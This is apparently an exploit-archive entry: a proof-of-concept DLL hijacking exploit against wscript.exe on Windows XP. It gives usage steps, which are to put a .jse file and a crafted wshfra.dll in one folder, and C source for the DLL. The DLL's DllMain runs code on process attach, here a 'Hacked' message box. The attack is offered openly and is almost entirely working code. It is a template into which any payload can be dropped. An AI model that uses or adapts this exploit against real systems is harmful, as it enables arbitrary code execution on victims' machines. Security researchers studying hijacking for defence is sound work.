wscript.exe DLL hijacking exploit that leverages wshfra.dll.
b9c1096b8c4a579bbcb4e6061c617b3798a6ac4d747aff7b244e8997dfc13624
#wscript.exe (XP) DLL Hijacking Exploit (wshfra.dll)
#Author : Mohamed Clay
#Greetz : linuxac.org && isecur1ty.org && security4arabs.com && v4-team.com && all My Friends
#note : EveryOne is happy with DLL Hijacking YooooPiiii!!!!
#Tested on: Windows XP
#How to use : Place a .jse file and wshfra.dll in same folder and execute the file .
#wshfra.dll(code)
===========================================
#include "stdafx.h"
void init() {
MessageBox(NULL,"Mohamed Clay", "Hacked",0x00000003);
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
init();break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
=============================================